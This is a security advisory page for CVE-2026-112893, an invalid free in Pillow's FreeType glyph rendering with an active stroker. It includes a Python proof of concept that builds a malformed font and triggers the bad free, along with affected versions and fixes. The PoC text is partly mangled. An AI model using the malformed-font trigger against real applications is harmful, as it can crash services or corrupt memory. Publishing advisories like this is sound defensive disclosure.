CVE-2026-112893: Pillow: Invalid free in FreeType glyph rendering when a stroker is active

Published Oct 19, 2026
·
Updated

Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FTLoadGlyph fails for a glyph, the cleanup path calls FTDoneGlyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

Details glyph is declared without a NULL initializer:

- src/imagingft.c:848

The first measurement loop can jump to glypherror before glyph is ever assigned:

- src/imagingft.c:1010-1013

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

- src/imagingft.c:1242

The cleanup frees it whenever a stroker exists:

- src/imagingft.c:1253-1256

ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.

PoC This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FTLoadGlyph returns an error while the face still opens.

python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord("A")]) localong = tt["head"].indexToLocFormat tt.close()

raw = bytearray(open(SRC, "rb").read()) nt = struct.unpack(">H", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i 16 tag = bytes(raw[rec:rec+4]).decode("latin-1") off, length = struct.unpack(">II", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyfoff = tbl["glyf"][0]; locaoff = tbl["loca"][0] if localong: o0 = struct.unpackfrom(">I", raw, locaoff + 4gid)[0] else: o0 = struct.unpackfrom(">H", raw, locaoff + 2gid)[0] 2 struct.packinto(">h", raw, glyfoff + o0, 5000) # numberOfContours = 5000 open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20) # face opens d = ImageDraw.Draw(Image.new("RGB", (64, 64))) d.text((0, 0), "A", font=f, strokewidth=2) # load error -> FTDoneGlyph on bad pointer

Result on the pinned build: FTLoadGlyph returns an error and execution reaches the glypherror cleanup that calls FTDoneGlyph(glyph) (the plugin surfaces OSError: invalid outline).

Impact Applications that draw text with strokewidth != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FTDoneGlyph.

Other sources

Pillow is a Python imaging library. From 10.0.0 until 13.0.0, Pillow can free an invalid glyph pointer during FreeType rendering with an active stroker. If FTLoadGlyph fails, cleanup may call FTDoneGlyph on an uninitialized or stale glyph variable. An attacker can supply a malformed font as untrusted bytes to an application that draws text with a nonzero stroke width, forcing the glyph-load failure path. This can corrupt memory or crash the process. This issue is fixed in version 13.0.0.

— MITRE

Affected Software

12 affected componentsFixes available
pypi/Pillow>=10.0.0<13.0.0
pip/pillow>=10.0.0<13.0.0
13.0.0
Python Pillow>=10.0.0<13.0.0
bitnami/pillow>=10.0.0<13.0.0
13.0.0
debian/pillow*
debian/pillow*
debian/pillow*
debian/pillow<=9.4.0-1.1+deb12u1, <=11.1.0-5+deb13u4, <=11.1.0-5+deb13u3, <=12.3.0-1
13.0.0-1
ubuntu/pillow-python2*
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow*

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  2. Upgrade

    Upgrade bitnami/pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  3. Upgrade

    Upgrade debian/pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0-1
  4. Upgrade

    Upgrade Pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0

Event History

Oct 19, 2026
CVE Published
via MITRE·09:53 PM
Data Sourced
via MITRE·09:53 PM
DescriptionWeakness
Data Sourced
via OSV·09:53 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·10:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·10:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Oct 21, 2026
Advisory Published
via GitHub·08:06 PM
Data Sourced
via GitHub·08:06 PM
DescriptionWeaknessAffected Software
Oct 26, 2026
Advisory Published
via OSV·05:55 AM
Nov 4, 2026
Data Sourced
via OSV·08:03 PM
Affected Software

Frequently Asked Questions

1

Which applications are exposed to this issue?

Applications using Pillow versions from 10.0.0 up to, but not including, 13.0.0 are exposed when they render text from attacker-supplied malformed font bytes with a nonzero stroke width. Applications that do not process untrusted fonts or do not use an active stroker are not described as reaching the vulnerable path.

2

What does an attacker need to do to trigger the flaw?

An attacker needs to provide malformed font data to an application that uses Pillow's FreeType glyph rendering with a nonzero stroke width. The malformed font must cause FT_Load_Glyph to fail, which reaches the unsafe cleanup path.

3

What is the likely impact if exploitation succeeds?

The invalid glyph free can corrupt process memory or crash the process. The supplied CVSS vector indicates the primary assessed impact is on availability.

4

What should be done if an immediate upgrade is not possible?

Avoid rendering text from untrusted font bytes, particularly when using a nonzero stroke width. Rejecting or isolating untrusted font processing can prevent the described trigger path until Pillow can be updated.

5

How can I determine whether my deployment is affected?

Check the installed Pillow version and whether the application accepts untrusted font data for text rendering with stroke width enabled. Versions 10.0.0 through before 13.0.0 meet the affected version range; version 13.0.0 contains the fix.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203